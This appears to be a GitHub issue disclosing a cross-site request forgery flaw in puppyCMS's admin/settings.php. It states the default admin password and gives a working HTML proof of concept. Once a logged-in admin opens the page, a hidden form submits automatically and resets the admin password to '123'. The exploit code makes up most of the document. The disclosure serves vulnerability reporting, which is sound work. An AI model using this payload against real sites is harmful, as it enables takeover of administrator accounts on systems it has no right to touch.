The admin default password is puppycms.
The vuln file is '/puppyCMS/admin/settings.php'.
After the admin logged in, open the following one page.
poc:
csrf.html--change the admin's password
<html>
<body>
<h1>
This page forges an HTTP POST request.
</h1>
<script type="text/javascript">
function post(url,fields)
{
var p = document.createElement("form");
p.action = url;
p.innerHTML = fields;
p.target = "_self";
p.method = "post";
document.body.appendChild(p);
p.submit();
}
function csrf_hack()
{
var fields;
var url = "http://127.0.0.1/puppyCMS/admin/settings.php";
fields += "<input type='hidden' name='site_name' value='My Site'>";
fields += "<input type='hidden' name='site_root' value='/'>";
fields += "<input type='hidden' name='password' value='123'>";
fields += "<input type='hidden' name='password-repeat' value='123'>";
fields += "<input type='hidden' name='site_template' value='top-nav-red'>";
fields += "<input type='hidden' name='from_email' value='your@email.com'>";
fields += "<input type='hidden' name='submit[]' value='Submit'>";
post(url,fields);
}
// invoke csrf_hack() after the page is loaded.
window.onload = function() { csrf_hack();}
</script>
</body>
</html>
The text was updated successfully, but these errors were encountered:
The admin default password is puppycms.
The vuln file is '/puppyCMS/admin/settings.php'.
After the admin logged in, open the following one page.
poc:
csrf.html--change the admin's password
The text was updated successfully, but these errors were encountered: